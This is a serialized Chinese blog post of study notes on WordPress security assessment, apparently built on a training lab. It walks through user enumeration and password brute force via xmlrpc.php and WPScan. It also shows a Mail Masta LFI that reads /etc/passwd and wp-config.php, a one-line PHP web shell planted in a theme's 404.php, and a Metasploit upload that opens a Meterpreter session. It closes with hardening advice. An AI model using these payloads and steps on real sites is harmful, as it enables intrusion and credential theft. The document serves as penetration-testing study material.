[{"data":1,"prerenderedAt":1283},["ShallowReactive",2],{"content:\u002Fwordpress-%E5%AE%89%E5%85%A8%E8%AF%84%E4%BC%B0%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0":3,"surround:\u002Fwordpress-%E5%AE%89%E5%85%A8%E8%AF%84%E4%BC%B0%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0":1282},{"id":4,"title":5,"body":6,"categories":1257,"date":1259,"description":1260,"draft":1261,"extension":1262,"image":1263,"meta":1264,"navigation":1266,"path":1267,"permalink":1267,"published":1263,"readingTime":1268,"recommend":1263,"references":1263,"seo":1273,"sitemap":1274,"stem":1275,"tags":1276,"type":1280,"updated":1259,"__hash__":1281},"content\u002Fposts\u002F2026\u002Fwordpress-安全评估学习笔记.md","WordPress 安全评估学习笔记",{"type":7,"value":8,"toc":1178},"minimark",[9,14,19,23,30,46,54,58,68,72,162,165,169,173,176,182,188,192,195,203,206,212,216,221,232,237,258,260,264,268,271,285,289,294,305,310,324,326,330,334,337,350,354,359,365,368,376,380,387,393,395,399,403,413,427,432,438,443,449,453,457,463,468,512,516,525,531,535,538,544,546,550,554,559,573,577,581,587,591,597,603,609,613,619,621,625,629,634,640,645,671,676,682,684,688,692,700,704,708,714,718,733,737,744,752,755,761,765,771,775,795,797,801,805,811,815,818,824,827,833,836,842,845,851,856,862,864,868,872,877,880,885,891,895,900,914,919,930,934,938,952,956,970,974,987,991,996,1017,1022,1030,1034,1039,1064,1068,1088,1090,1094,1176],[10,11,13],"h2",{"id":12},"_1-wordpress-文件结构","1. WordPress 文件结构",[15,16,18],"h3",{"id":17},"_11-安装环境","1.1 安装环境",[20,21,22],"p",{},"WordPress 可以安装在 Windows、Linux 或 Mac OSX 上。本笔记重点介绍 Ubuntu Linux 上的安装。",[20,24,25,29],{},[26,27,28],"strong",{},"前置条件","：完整安装配置 LAMP 栈",[31,32,33,37,40,43],"ul",{},[34,35,36],"li",{},"Linux 操作系统",[34,38,39],{},"Apache HTTP 服务器",[34,41,42],{},"MySQL 数据库",[34,44,45],{},"PHP 编程语言",[20,47,48,49,53],{},"所有文件位于 ",[50,51,52],"code",{"code":52},"\u002Fvar\u002Fwww\u002Fhtml"," 的 Web 根目录中。",[15,55,57],{"id":56},"_12-目录结构","1.2 目录结构",[59,60,65],"pre",{"className":61,"code":63,"language":64},[62],"language-text","\u002Fvar\u002Fwww\u002Fhtml\u002F\n├── index.php                # WordPress 主页入口\n├── license.txt              # 版本和许可证信息\n├── readme.html\n├── wp-activate.php          # 邮件激活处理\n├── wp-admin\u002F                # 后端管理界面和登录\n├── wp-blog-header.php\n├── wp-comments-post.php     # 评论提交处理\n├── wp-config.php            # 数据库配置文件（敏感）\n├── wp-config-sample.php     # 配置示例\n├── wp-content\u002F              # 插件、主题、媒体文件\n├── wp-cron.php              # 定时任务\n├── wp-includes\u002F             # 核心库函数\n├── wp-links-opml.php\n├── wp-load.php              # 核心加载器\n├── wp-login.php             # 登录页面（可能被重命名）\n├── wp-mail.php              # 邮件处理\n├── wp-settings.php          # 全局配置加载\n├── wp-signup.php            # 用户注册\n├── wp-trackback.php         # 反向链接\n└── xmlrpc.php               # XML-RPC 接口（已被 REST API 取代）\n","text",[50,66,63],{"__ignoreMap":67},"",[15,69,71],{"id":70},"_13-关键文件说明","1.3 关键文件说明",[73,74,75,91],"table",{},[76,77,78],"thead",{},[79,80,81,85,88],"tr",{},[82,83,84],"th",{},"文件",[82,86,87],{},"功能",[82,89,90],{},"安全相关性",[92,93,94,110,123,136,149],"tbody",{},[79,95,96,102,105],{},[97,98,99],"td",{},[50,100,101],{"code":101},"wp-config.php",[97,103,104],{},"数据库凭证和密钥配置",[97,106,107],{},[26,108,109],{},"高危",[79,111,112,117,120],{},[97,113,114],{},[50,115,116],{"code":116},"wp-admin\u002F",[97,118,119],{},"管理员界面",[97,121,122],{},"高风险目标",[79,124,125,130,133],{},[97,126,127],{},[50,128,129],{"code":129},"wp-login.php",[97,131,132],{},"登录页面",[97,134,135],{},"暴力破解目标",[79,137,138,143,146],{},[97,139,140],{},[50,141,142],{"code":142},"xmlrpc.php",[97,144,145],{},"XML-RPC 接口",[97,147,148],{},"可用于暴力攻击",[79,150,151,156,159],{},[97,152,153],{},[50,154,155],{"code":155},"wp-content\u002F",[97,157,158],{},"插件和主题",[97,160,161],{},"可能有漏洞",[163,164],"hr",{},[10,166,168],{"id":167},"_2-目录索引漏洞","2. 目录索引漏洞",[15,170,172],{"id":171},"_21-什么是目录索引","2.1 什么是目录索引",[20,174,175],{},"当 Web 服务器配置错误时，用户可直接浏览目录内容。",[20,177,178,181],{},[26,179,180],{},"示例URL","：",[59,183,186],{"className":184,"code":185,"language":64},[62],"http:\u002F\u002F\u003Ctarget>\u002Fwp-content\u002Fplugins\u002Fmail-masta\u002F\n",[50,187,185],{"__ignoreMap":67},[15,189,191],{"id":190},"_22-检测方法","2.2 检测方法",[20,193,194],{},"使用 curl 和 html2text 查看目录列表：",[59,196,201],{"className":197,"code":199,"language":200,"meta":67},[198],"language-bash","curl -s -X GET http:\u002F\u002Fblog.inlanefreight.com\u002Fwp-content\u002Fplugins\u002Fmail-masta\u002F | html2text\n","bash",[50,202,199],{"__ignoreMap":67},[20,204,205],{},"输出示例：",[59,207,210],{"className":208,"code":209,"language":64},[62],"Index of \u002Fwp-content\u002Fplugins\u002Fmail-masta\n============================================================\nName                 Last_modified    Size  \namazon_api\u002F          2020-05-13 18:01    -  \ninc\u002F                 2020-05-13 18:01    -  \nlib\u002F                 2020-05-13 18:01    -  \nplugin-interface.php 2020-05-13 18:01  88K  \nreadme.txt           2020-05-13 18:01 2.2K  \n",[50,211,209],{"__ignoreMap":67},[15,213,215],{"id":214},"_23-风险与防护","2.3 风险与防护",[20,217,218,181],{},[26,219,220],{},"风险",[31,222,223,226,229],{},[34,224,225],{},"暴露源代码",[34,227,228],{},"发现敏感文件",[34,230,231],{},"识别过时插件版本",[20,233,234,181],{},[26,235,236],{},"防护",[31,238,239,245,252],{},[34,240,241,242],{},"在 Apache 配置中禁用 ",[50,243,244],{"code":244},"Options Indexes",[34,246,247,248,251],{},"创建空的 ",[50,249,250],{"code":250},"index.html"," 文件",[34,253,254,255],{},"合理配置 ",[50,256,257],{"code":257},".htaccess",[163,259],{},[10,261,263],{"id":262},"_3-用户枚举","3. 用户枚举",[15,265,267],{"id":266},"_31-为什么枚举用户很重要","3.1 为什么枚举用户很重要",[20,269,270],{},"用户列表是后续攻击的基础：",[31,272,273,276,279,282],{},[34,274,275],{},"暴力破解密码",[34,277,278],{},"猜测默认凭据",[34,280,281],{},"获取后端访问权限",[34,283,284],{},"进行权限提升",[15,286,288],{"id":287},"_32-手动枚举方法","3.2 手动枚举方法",[20,290,291],{},[26,292,293],{},"方法一：查看帖子作者",[31,295,296,299,302],{},[34,297,298],{},"将鼠标悬停在帖子作者链接上",[34,300,301],{},"浏览器左下角显示用户链接",[34,303,304],{},"可识别用户 ID 和用户名",[20,306,307],{},[26,308,309],{},"方法二：URL 枚举",[31,311,312,321],{},[34,313,314,317,318],{},[50,315,316],{"code":316},"\u002Fauthor\u002Fusername\u002F"," 或 ",[50,319,320],{"code":320},"\u002Fauthor\u002F1\u002F",[34,322,323],{},"观察 404 和有效页面的差异",[163,325],{},[10,327,329],{"id":328},"_4-登录和密码暴力破解","4. 登录和密码暴力破解",[15,331,333],{"id":332},"_41-攻击向量","4.1 攻击向量",[20,335,336],{},"一旦掌握用户列表，可通过以下方式发起攻击：",[338,339,340,345],"ol",{},[34,341,342,344],{},[26,343,129],{}," - 标准登录页面",[34,346,347,349],{},[26,348,142],{}," - XML-RPC API（更快）",[15,351,353],{"id":352},"_42-使用-xmlrpcphp-测试凭据","4.2 使用 xmlrpc.php 测试凭据",[355,356,358],"h4",{"id":357},"_421-正确凭据测试","4.2.1 正确凭据测试",[59,360,363],{"className":361,"code":362,"language":200,"meta":67},[198],"curl -X POST -d \"\u003CmethodCall>\u003CmethodName>wp.getUsersBlogs\u003C\u002FmethodName>\u003Cparams>\u003Cparam>\u003Cvalue>admin\u003C\u002Fvalue>\u003C\u002Fparam>\u003Cparam>\u003Cvalue>password123\u003C\u002Fvalue>\u003C\u002Fparam>\u003C\u002Fparams>\u003C\u002FmethodCall>\" http:\u002F\u002Fblog.inlanefreight.com\u002Fxmlrpc.php\n",[50,364,362],{"__ignoreMap":67},[20,366,367],{},"成功响应（HTTP 200）：",[59,369,374],{"className":370,"code":372,"language":373,"meta":67},[371],"language-xml","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003CmethodResponse>\n  \u003Cparams>\n    \u003Cparam>\n      \u003Cvalue>\n        \u003Carray>\u003Cdata>\n          \u003Cvalue>\u003Cstruct>\n            \u003Cmember>\n              \u003Cname>isAdmin\u003C\u002Fname>\n              \u003Cvalue>\u003Cboolean>1\u003C\u002Fboolean>\u003C\u002Fvalue>\n            \u003C\u002Fmember>\n            \u003Cmember>\n              \u003Cname>url\u003C\u002Fname>\n              \u003Cvalue>\u003Cstring>http:\u002F\u002Fblog.inlanefreight.com\u002F\u003C\u002Fstring>\u003C\u002Fvalue>\n            \u003C\u002Fmember>\n            \u003Cmember>\n              \u003Cname>blogid\u003C\u002Fname>\n              \u003Cvalue>\u003Cstring>1\u003C\u002Fstring>\u003C\u002Fvalue>\n            \u003C\u002Fmember>\n            \u003Cmember>\n              \u003Cname>blogName\u003C\u002Fname>\n              \u003Cvalue>\u003Cstring>Inlanefreight\u003C\u002Fstring>\u003C\u002Fvalue>\n            \u003C\u002Fmember>\n            \u003Cmember>\n              \u003Cname>xmlrpc\u003C\u002Fname>\n              \u003Cvalue>\u003Cstring>http:\u002F\u002Fblog.inlanefreight.com\u002Fxmlrpc.php\u003C\u002Fstring>\u003C\u002Fvalue>\n            \u003C\u002Fmember>\n          \u003C\u002Fstruct>\u003C\u002Fvalue>\n        \u003C\u002Fdata>\u003C\u002Farray>\n      \u003C\u002Fvalue>\n    \u003C\u002Fparam>\n  \u003C\u002Fparams>\n\u003C\u002FmethodResponse>\n","xml",[50,375,372],{"__ignoreMap":67},[355,377,379],{"id":378},"_422-错误凭据测试","4.2.2 错误凭据测试",[20,381,382,383,386],{},"错误密码返回 ",[50,384,385],{"code":385},"403 faultCode"," 错误：",[59,388,391],{"className":389,"code":390,"language":373,"meta":67},[371],"\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003CmethodResponse>\n  \u003Cfault>\n    \u003Cvalue>\n      \u003Cstruct>\n        \u003Cmember>\n          \u003Cname>faultCode\u003C\u002Fname>\n          \u003Cvalue>\u003Cint>403\u003C\u002Fint>\u003C\u002Fvalue>\n        \u003C\u002Fmember>\n        \u003Cmember>\n          \u003Cname>faultString\u003C\u002Fname>\n          \u003Cvalue>\u003Cstring>Incorrect username or password.\u003C\u002Fstring>\u003C\u002Fvalue>\n        \u003C\u002Fmember>\n      \u003C\u002Fstruct>\n    \u003C\u002Fvalue>\n  \u003C\u002Ffault>\n\u003C\u002FmethodResponse>\n",[50,392,390],{"__ignoreMap":67},[163,394],{},[10,396,398],{"id":397},"_5-wpscan-工具","5. WPScan 工具",[15,400,402],{"id":401},"_51-wpscan-简介","5.1 WPScan 简介",[20,404,405,412],{},[406,407,411],"a",{"href":408,"rel":409},"https:\u002F\u002Fgithub.com\u002Fwpscanteam\u002Fwpscan",[410],"nofollow","WPScan"," 是自动化 WordPress 扫描和枚举工具，可以：",[31,414,415,418,421,424],{},[34,416,417],{},"检测过时的主题和插件",[34,419,420],{},"识别已知漏洞",[34,422,423],{},"枚举用户",[34,425,426],{},"进行暴力密码攻击",[20,428,429,181],{},[26,430,431],{},"安装",[59,433,436],{"className":434,"code":435,"language":200,"meta":67},[198],"# Parrot OS 默认安装，或手动安装\ngem install wpscan\n",[50,437,435],{"__ignoreMap":67},[20,439,440,181],{},[26,441,442],{},"验证安装",[59,444,447],{"className":445,"code":446,"language":200,"meta":67},[198],"wpscan --hh    # 显示完整帮助\n",[50,448,446],{"__ignoreMap":67},[15,450,452],{"id":451},"_52-基本用法","5.2 基本用法",[355,454,456],{"id":455},"_521-普通枚举扫描","5.2.1 普通枚举扫描",[59,458,461],{"className":459,"code":460,"language":200,"meta":67},[198],"wpscan --url http:\u002F\u002Fblog.inlanefreight.com --enumerate --api-token YOUR_API_TOKEN\n",[50,462,460],{"__ignoreMap":67},[20,464,465,181],{},[26,466,467],{},"--enumerate 参数",[31,469,470,476,482,488,494,500,506],{},[34,471,472,475],{},[50,473,474],{"code":474},"vp"," - 易受攻击插件",[34,477,478,481],{},[50,479,480],{"code":480},"ap"," - 所有插件",[34,483,484,487],{},[50,485,486],{"code":486},"vt"," - 易受攻击主题",[34,489,490,493],{},[50,491,492],{"code":492},"at"," - 所有主题",[34,495,496,499],{},[50,497,498],{"code":498},"u"," - 用户枚举",[34,501,502,505],{},[50,503,504],{"code":504},"m"," - 媒体",[34,507,508,511],{},[50,509,510],{"code":510},"dbe"," - 数据库导出",[355,513,515],{"id":514},"_522-添加-api-密钥","5.2.2 添加 API 密钥",[20,517,518,519,524],{},"获取 ",[406,520,523],{"href":521,"rel":522},"https:\u002F\u002Fwpvulndb.com\u002F",[410],"WPVulnDB"," API 令牌（免费版 50 请求\u002F天）：",[59,526,529],{"className":527,"code":528,"language":200,"meta":67},[198],"wpscan --url http:\u002F\u002Ftarget --enumerate --api-token YOUR_TOKEN\n",[50,530,528],{"__ignoreMap":67},[15,532,534],{"id":533},"_53-扫描结果示例","5.3 扫描结果示例",[20,536,537],{},"WPScan 输出包含：",[59,539,542],{"className":540,"code":541,"language":64},[62],"[+] URL: http:\u002F\u002Fblog.inlanefreight.com\u002F\n[+] WordPress version 5.3.2\n[+] Theme: twentytwenty (outdated)\n[+] Vulnerable Plugins:\n  - mail-masta 1.0 (LFI, SQL Injection)\n  - wp-google-places-review-slider (SQL Injection)\n[+] Users Enumerated:\n  - admin\n  - david\n  - roger\n",[50,543,541],{"__ignoreMap":67},[163,545],{},[10,547,549],{"id":548},"_6-利用易受攻击的插件","6. 利用易受攻击的插件",[15,551,553],{"id":552},"_61-mail-masta-插件-lfi-漏洞","6.1 Mail Masta 插件 LFI 漏洞",[20,555,556,181],{},[26,557,558],{},"漏洞详情",[31,560,561,564,567],{},[34,562,563],{},"CVE：Unauthenticated Local File Inclusion (LFI)",[34,565,566],{},"受影响版本：1.0",[34,568,569,570],{},"路径：",[50,571,572],{"code":572},"\u002Fwp-content\u002Fplugins\u002Fmail-masta\u002Finc\u002Fcampaign\u002Fcount_of_send.php",[15,574,576],{"id":575},"_62-利用方法","6.2 利用方法",[355,578,580],{"id":579},"使用浏览器","使用浏览器：",[59,582,585],{"className":583,"code":584,"language":64},[62],"http:\u002F\u002Fblog.inlanefreight.com\u002Fwp-content\u002Fplugins\u002Fmail-masta\u002Finc\u002Fcampaign\u002Fcount_of_send.php?pl=\u002Fetc\u002Fpasswd\n",[50,586,584],{"__ignoreMap":67},[355,588,590],{"id":589},"使用-curl","使用 curl：",[59,592,595],{"className":593,"code":594,"language":200,"meta":67},[198],"curl http:\u002F\u002Fblog.inlanefreight.com\u002Fwp-content\u002Fplugins\u002Fmail-masta\u002Finc\u002Fcampaign\u002Fcount_of_send.php?pl=\u002Fetc\u002Fpasswd\n",[50,596,594],{"__ignoreMap":67},[20,598,599,602],{},[26,600,601],{},"输出","（\u002Fetc\u002Fpasswd 内容）：",[59,604,607],{"className":605,"code":606,"language":64},[62],"root:x:0:0:root:\u002Froot:\u002Fbin\u002Fbash\ndaemon:x:1:1:daemon:\u002Fusr\u002Fsbin:\u002Fusr\u002Fsbin\u002Fnologin\nwww-data:x:33:33:www-data:\u002Fvar\u002Fwww:\u002Fusr\u002Fsbin\u002Fnologin\n...\n",[50,608,606],{"__ignoreMap":67},[15,610,612],{"id":611},"_63-可读取的其他文件","6.3 可读取的其他文件",[59,614,617],{"className":615,"code":616,"language":200,"meta":67},[198],"# WordPress 配置文件\n?pl=\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-config.php\n\n# Web 服务器配置\n?pl=\u002Fetc\u002Fapache2\u002Fapache2.conf\n\n# 应用日志\n?pl=\u002Fvar\u002Flog\u002Fapache2\u002Faccess.log\n",[50,618,616],{"__ignoreMap":67},[163,620],{},[10,622,624],{"id":623},"_7-攻击-wordpress-用户","7. 攻击 WordPress 用户",[15,626,628],{"id":627},"_71-暴力破解工具","7.1 暴力破解工具",[20,630,631,181],{},[26,632,633],{},"使用 WPScan 暴力破解",[59,635,638],{"className":636,"code":637,"language":200,"meta":67},[198],"# 使用 xmlrpc 方法（更快）\nwpscan --password-attack xmlrpc -t 20 -U admin,david -P passwords.txt --url http:\u002F\u002Fblog.inlanefreight.com\n",[50,639,637],{"__ignoreMap":67},[20,641,642,181],{},[26,643,644],{},"参数说明",[31,646,647,653,659,665],{},[34,648,649,652],{},[50,650,651],{"code":651},"-t 20"," - 20 个线程",[34,654,655,658],{},[50,656,657],{"code":657},"-U admin,david"," - 目标用户列表",[34,660,661,664],{},[50,662,663],{"code":663},"-P passwords.txt"," - 密码字典文件",[34,666,667,670],{},[50,668,669],{"code":669},"--password-attack xmlrpc"," - 使用 XML-RPC 攻击",[20,672,673,181],{},[26,674,675],{},"成功输出",[59,677,680],{"className":678,"code":679,"language":64},[62],"[SUCCESS] - admin \u002F sunshine1\n[i] Valid Combinations Found:\n  | Username: admin, Password: sunshine1\n",[50,681,679],{"__ignoreMap":67},[163,683],{},[10,685,687],{"id":686},"_8-通过主题编辑器获取-rce","8. 通过主题编辑器获取 RCE",[15,689,691],{"id":690},"_81-前置条件","8.1 前置条件",[31,693,694,697],{},[34,695,696],{},"获取 WordPress 管理员凭证",[34,698,699],{},"选择一个非活跃的主题（避免破坏网站）",[15,701,703],{"id":702},"_82-利用步骤","8.2 利用步骤",[355,705,707],{"id":706},"步骤-1登录管理面板","步骤 1：登录管理面板",[59,709,712],{"className":710,"code":711,"language":64},[62],"http:\u002F\u002Ftarget\u002Fwp-admin\u002F\n",[50,713,711],{"__ignoreMap":67},[355,715,717],{"id":716},"步骤-2导航到主题编辑器","步骤 2：导航到主题编辑器",[31,719,720,730],{},[34,721,722,723,726,727],{},"点击 ",[50,724,725],{"code":725},"Appearance"," → ",[50,728,729],{"code":729},"Theme Editor",[34,731,732],{},"选择一个未使用的主题（如 Twenty Seventeen）",[355,734,736],{"id":735},"步骤-3修改-404php-文件","步骤 3：修改 404.php 文件",[20,738,739,740,743],{},"在 ",[50,741,742],{"code":742},"404.php"," 文件开头添加：",[59,745,750],{"className":746,"code":748,"language":749,"meta":67},[747],"language-php","\u003C?php system($_GET['cmd']); ?>\n","php",[50,751,748],{"__ignoreMap":67},[20,753,754],{},"完整示例：",[59,756,759],{"className":757,"code":758,"language":749,"meta":67},[747],"\u003C?php system($_GET['cmd']); ?>\n\u002F**\n * The template for displaying 404 pages (not found)\n * @link https:\u002F\u002Fcodex.wordpress.org\u002FCreating_an_Error_404_Page\n *\u002F\n",[50,760,758],{"__ignoreMap":67},[355,762,764],{"id":763},"步骤-4执行命令","步骤 4：执行命令",[59,766,769],{"className":767,"code":768,"language":200,"meta":67},[198],"# 执行 id 命令\ncurl \"http:\u002F\u002Ftarget\u002Fwp-content\u002Fthemes\u002Ftwentyseventeen\u002F404.php?cmd=id\"\n\n# 输出示例\nuid=1000(wp-user) gid=1000(wp-user) groups=1000(wp-user)\n",[50,770,768],{"__ignoreMap":67},[15,772,774],{"id":773},"_83-其他可用文件","8.3 其他可用文件",[31,776,777,782,787,792],{},[34,778,779],{},[50,780,781],{"code":781},"footer.php",[34,783,784],{},[50,785,786],{"code":786},"header.php",[34,788,789],{},[50,790,791],{"code":791},"sidebar.php",[34,793,794],{},"任何非关键的主题文件",[163,796],{},[10,798,800],{"id":799},"_9-使用-metasploit-自动化攻击","9. 使用 Metasploit 自动化攻击",[15,802,804],{"id":803},"_91-启动-msf","9.1 启动 MSF",[59,806,809],{"className":807,"code":808,"language":200,"meta":67},[198],"msfconsole\n",[50,810,808],{"__ignoreMap":67},[15,812,814],{"id":813},"_92-使用-wp_admin_shell_upload-模块","9.2 使用 wp_admin_shell_upload 模块",[355,816,817],{"id":817},"搜索模块",[59,819,822],{"className":820,"code":821,"language":64},[62],"msf5 > search wp_admin\n# 找到: exploit\u002Funix\u002Fwebapp\u002Fwp_admin_shell_upload [0]\n",[50,823,821],{"__ignoreMap":67},[355,825,826],{"id":826},"选择模块",[59,828,831],{"className":829,"code":830,"language":64},[62],"msf5 > use 0\nmsf5 exploit(unix\u002Fwebapp\u002Fwp_admin_shell_upload) >\n",[50,832,830],{"__ignoreMap":67},[355,834,835],{"id":835},"查看选项",[59,837,840],{"className":838,"code":839,"language":64},[62],"msf5 > options\nModule options (exploit\u002Funix\u002Fwebapp\u002Fwp_admin_shell_upload):\n  Name       Current Setting  Required  Description\n  ----       ---------------  --------  -----------\n  PASSWORD                     yes       WordPress password\n  RHOSTS                       yes       Target host(s)\n  RPORT      80               yes       Target port\n  USERNAME                     yes       WordPress username\n  VHOST                        no        HTTP server virtual host\n",[50,841,839],{"__ignoreMap":67},[355,843,844],{"id":844},"配置并执行",[59,846,849],{"className":847,"code":848,"language":64},[62],"msf5 > set rhosts blog.inlanefreight.com\nmsf5 > set username admin\nmsf5 > set password Winter2020\nmsf5 > set lhost 10.10.16.8\nmsf5 > run\n",[50,850,848],{"__ignoreMap":67},[20,852,853,181],{},[26,854,855],{},"成功标志",[59,857,860],{"className":858,"code":859,"language":64},[62],"[+] Authenticated with WordPress\n[*] Uploading payload...\n[*] Meterpreter session 1 opened\nmeterpreter > getuid\nServer username: www-data (33)\n",[50,861,859],{"__ignoreMap":67},[163,863],{},[10,865,867],{"id":866},"_10-wordpress-安全最佳实践","10. WordPress 安全最佳实践",[15,869,871],{"id":870},"_101-更新管理","10.1 更新管理",[20,873,874],{},[26,875,876],{},"定期更新是最重要的防护措施",[355,878,879],{"id":879},"启用自动更新",[20,881,882,883,181],{},"编辑 ",[50,884,101],{"code":101},[59,886,889],{"className":887,"code":888,"language":749,"meta":67},[747],"\u002F\u002F 启用 WordPress 核心自动更新\ndefine('WP_AUTO_UPDATE_CORE', true);\n\n\u002F\u002F 启用插件自动更新\nadd_filter('auto_update_plugin', '__return_true');\n\n\u002F\u002F 启用主题自动更新\nadd_filter('auto_update_theme', '__return_true');\n",[50,890,888],{"__ignoreMap":67},[15,892,894],{"id":893},"_102-插件和主题管理","10.2 插件和主题管理",[20,896,897,181],{},[26,898,899],{},"安装前检查",[31,901,902,905,908,911],{},[34,903,904],{},"从官方 WordPress.org 下载",[34,906,907],{},"检查评分和评论数",[34,909,910],{},"确认最近更新日期",[34,912,913],{},"检查活跃安装数",[20,915,916,181],{},[26,917,918],{},"定期维护",[31,920,921,924,927],{},[34,922,923],{},"删除未使用的插件和主题",[34,925,926],{},"监控已安装的软件更新",[34,928,929],{},"及时删除废弃软件",[15,931,933],{"id":932},"_103-常用安全插件","10.3 常用安全插件",[355,935,937],{"id":936},"sucuri-security","Sucuri Security",[31,939,940,943,946,949],{},[34,941,942],{},"安全审计日志",[34,944,945],{},"文件完整性监控",[34,947,948],{},"恶意软件扫描",[34,950,951],{},"黑名单监控",[355,953,955],{"id":954},"ithemes-security","iThemes Security",[31,957,958,961,964,967],{},[34,959,960],{},"双因素认证 (2FA)",[34,962,963],{},"安全密钥管理",[34,965,966],{},"Google reCAPTCHA",[34,968,969],{},"用户操作日志",[355,971,973],{"id":972},"wordfence-security","Wordfence Security",[31,975,976,979,981,984],{},[34,977,978],{},"端点防火墙",[34,980,948],{},[34,982,983],{},"实时威胁更新（付费版）",[34,985,986],{},"IP 黑名单（付费版）",[15,988,990],{"id":989},"_104-用户管理","10.4 用户管理",[20,992,993,181],{},[26,994,995],{},"最佳实践",[31,997,998,1005,1008,1011,1014],{},[34,999,1000,1001,1004],{},"禁用默认 ",[50,1002,1003],{"code":1003},"admin"," 用户，创建难以猜测的用户名",[34,1006,1007],{},"强制使用强密码",[34,1009,1010],{},"启用所有用户的双因素认证 (2FA)",[34,1012,1013],{},"基于最小权限原则限制用户访问",[34,1015,1016],{},"定期审计用户权限，删除不需要的账户",[20,1018,1019,181],{},[26,1020,1021],{},"风险原因",[31,1023,1024,1027],{},[34,1025,1026],{},"用户往往是组织中最薄弱的环节",[34,1028,1029],{},"默认用户名是攻击者首选目标",[15,1031,1033],{"id":1032},"_105-配置管理","10.5 配置管理",[20,1035,1036,181],{},[26,1037,1038],{},"加固措施",[31,1040,1041,1044,1047],{},[34,1042,1043],{},"安装防止用户枚举的插件，防止攻击者收集用户名进行密码喷洒",[34,1045,1046],{},"限制登录尝试次数，防止暴力破解",[34,1048,1049,1050,1052,1053],{},"重命名或隐藏 ",[50,1051,129],{"code":129},"：\n",[31,1054,1055,1058,1061],{},[34,1056,1057],{},"重新定位到特定 URI",[34,1059,1060],{},"限制 IP 访问",[34,1062,1063],{},"需要特定引荐来源",[15,1065,1067],{"id":1066},"_106-其他加固项","10.6 其他加固项",[31,1069,1070,1073,1076,1079,1082,1085],{},[34,1071,1072],{},"禁用 XML-RPC（如不需要）",[34,1074,1075],{},"禁用文件编辑（删除主题编辑器）",[34,1077,1078],{},"隐藏 WordPress 版本号",[34,1080,1081],{},"设置正确的文件权限",[34,1083,1084],{},"定期备份",[34,1086,1087],{},"实施 WAF（Web 应用防火墙）",[163,1089],{},[10,1091,1093],{"id":1092},"_11-学习总结","11. 学习总结",[73,1095,1096,1108],{},[76,1097,1098],{},[79,1099,1100,1103,1106],{},[82,1101,1102],{},"阶段",[82,1104,1105],{},"工具\u002F技术",[82,1107,601],{},[92,1109,1110,1121,1132,1143,1154,1165],{},[79,1111,1112,1115,1118],{},[97,1113,1114],{},"枚举",[97,1116,1117],{},"WPScan, curl, 目录索引",[97,1119,1120],{},"版本、插件、用户列表",[79,1122,1123,1126,1129],{},[97,1124,1125],{},"用户识别",[97,1127,1128],{},"WPScan, URL 分析",[97,1130,1131],{},"用户名列表",[79,1133,1134,1137,1140],{},[97,1135,1136],{},"凭证获取",[97,1138,1139],{},"xmlrpc.php, WPScan, 字典",[97,1141,1142],{},"有效凭证",[79,1144,1145,1148,1151],{},[97,1146,1147],{},"初步访问",[97,1149,1150],{},"wp-login.php 或 xmlrpc.php",[97,1152,1153],{},"管理员会话",[79,1155,1156,1159,1162],{},[97,1157,1158],{},"RCE",[97,1160,1161],{},"主题编辑器、文件上传",[97,1163,1164],{},"命令执行能力",[79,1166,1167,1170,1173],{},[97,1168,1169],{},"自动化",[97,1171,1172],{},"Metasploit, 自定义脚本",[97,1174,1175],{},"反向 shell",[163,1177],{},{"title":67,"searchDepth":1179,"depth":1179,"links":1180},4,[1181,1188,1193,1197,1204,1212,1220,1223,1233,1242,1256],{"id":12,"depth":1182,"text":13,"children":1183},2,[1184,1186,1187],{"id":17,"depth":1185,"text":18},3,{"id":56,"depth":1185,"text":57},{"id":70,"depth":1185,"text":71},{"id":167,"depth":1182,"text":168,"children":1189},[1190,1191,1192],{"id":171,"depth":1185,"text":172},{"id":190,"depth":1185,"text":191},{"id":214,"depth":1185,"text":215},{"id":262,"depth":1182,"text":263,"children":1194},[1195,1196],{"id":266,"depth":1185,"text":267},{"id":287,"depth":1185,"text":288},{"id":328,"depth":1182,"text":329,"children":1198},[1199,1200],{"id":332,"depth":1185,"text":333},{"id":352,"depth":1185,"text":353,"children":1201},[1202,1203],{"id":357,"depth":1179,"text":358},{"id":378,"depth":1179,"text":379},{"id":397,"depth":1182,"text":398,"children":1205},[1206,1207,1211],{"id":401,"depth":1185,"text":402},{"id":451,"depth":1185,"text":452,"children":1208},[1209,1210],{"id":455,"depth":1179,"text":456},{"id":514,"depth":1179,"text":515},{"id":533,"depth":1185,"text":534},{"id":548,"depth":1182,"text":549,"children":1213},[1214,1215,1219],{"id":552,"depth":1185,"text":553},{"id":575,"depth":1185,"text":576,"children":1216},[1217,1218],{"id":579,"depth":1179,"text":580},{"id":589,"depth":1179,"text":590},{"id":611,"depth":1185,"text":612},{"id":623,"depth":1182,"text":624,"children":1221},[1222],{"id":627,"depth":1185,"text":628},{"id":686,"depth":1182,"text":687,"children":1224},[1225,1226,1232],{"id":690,"depth":1185,"text":691},{"id":702,"depth":1185,"text":703,"children":1227},[1228,1229,1230,1231],{"id":706,"depth":1179,"text":707},{"id":716,"depth":1179,"text":717},{"id":735,"depth":1179,"text":736},{"id":763,"depth":1179,"text":764},{"id":773,"depth":1185,"text":774},{"id":799,"depth":1182,"text":800,"children":1234},[1235,1236],{"id":803,"depth":1185,"text":804},{"id":813,"depth":1185,"text":814,"children":1237},[1238,1239,1240,1241],{"id":817,"depth":1179,"text":817},{"id":826,"depth":1179,"text":826},{"id":835,"depth":1179,"text":835},{"id":844,"depth":1179,"text":844},{"id":866,"depth":1182,"text":867,"children":1243},[1244,1247,1248,1253,1254,1255],{"id":870,"depth":1185,"text":871,"children":1245},[1246],{"id":879,"depth":1179,"text":879},{"id":893,"depth":1185,"text":894},{"id":932,"depth":1185,"text":933,"children":1249},[1250,1251,1252],{"id":936,"depth":1179,"text":937},{"id":954,"depth":1179,"text":955},{"id":972,"depth":1179,"text":973},{"id":989,"depth":1185,"text":990},{"id":1032,"depth":1185,"text":1033},{"id":1066,"depth":1185,"text":1067},{"id":1092,"depth":1182,"text":1093},[1258],"Web","2026-06-02","整理 WordPress 常见结构、信息收集点和安全评估中的高频思路。",false,"md",null,{"slots":1265},{},true,"\u002Fwordpress-安全评估学习笔记",{"text":1269,"minutes":1270,"time":1271,"words":1272},"10 min 